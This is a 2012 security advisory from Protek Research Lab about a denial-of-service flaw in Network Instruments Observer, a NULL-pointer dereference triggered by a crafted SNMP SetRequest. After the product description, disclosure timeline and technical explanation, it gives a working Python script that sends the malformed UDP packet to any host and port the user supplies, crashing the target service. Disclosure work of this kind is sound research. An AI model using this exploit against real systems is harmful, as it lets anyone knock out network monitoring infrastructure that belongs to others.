Application:   Network Instrument Observer SNMP SetRequest Denial of Service Vulnerability

Platforms:   Windows 

Secunia:   SA47898  

{PRL}:   2012-05

Author:   Francis Provencher (Protek Research Lab's) 

Website:   http://www.protekresearchlab.com/

Twitter:   @ProtekResearch


#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) The Code


#####################################################################################

===============
1) Introduction
===============
Network Instruments develops software and hardware solutions for analyzing and managing network
and application performance, such as network analyzers. They were founded in 1994, and are headquartered
in Minneapolis, Minnesota. The mainstay product of Network Instruments is its Observer family of network
analyzers (including Observer, Observer Expert and Observer Suite). The Observer product family was built for
real-time analysis, monitoring, and reporting of full-duplex network links in environments including local area networks
(LAN), wireless, Fibre Channel, Wide Area Networks, gigabit Ethernet, and Full duplex 10 GbE

(http://en.wikipedia.org/wiki/Network_Instruments)

#####################################################################################

============================
2) Report Timeline
============================

2012-02-07  Vulnerability reported to Secunia
2012-03-12  Vendor disclose patch


#####################################################################################

============================
3) Technical details
============================
The vulnerability is caused due to a NULL-pointer dereference error when copying an octet string from
a variable binding list. This can be exploited to cause a crash via a specially crafted SNMP SetRequest PDU
sent to UDP port 162. 

#####################################################################################

===========
4) The Code
===========

#!/usr/bin/python

import sys,os,socket

if len(sys.argv) < 3:
	print "Usage: host,port"
	sys.exit(0)

host=sys.argv[1]
port=int(sys.argv[2])



sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)

sock.connect((host,port))

sock.send("\x30\x35\x02\x01\x00\x04\x07\x70\x72\x69\x76\x61\x74\x65\xA3\x27\x02\x04\x00\x00\x00\x00\x02\x01\x00\x02\x01\x00\x30\x19\x30\x17\x06\x08\x2B\x06\x01\x02\x01\x01\x04\x00\x04\x84\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41")

print "done!"

sock.close()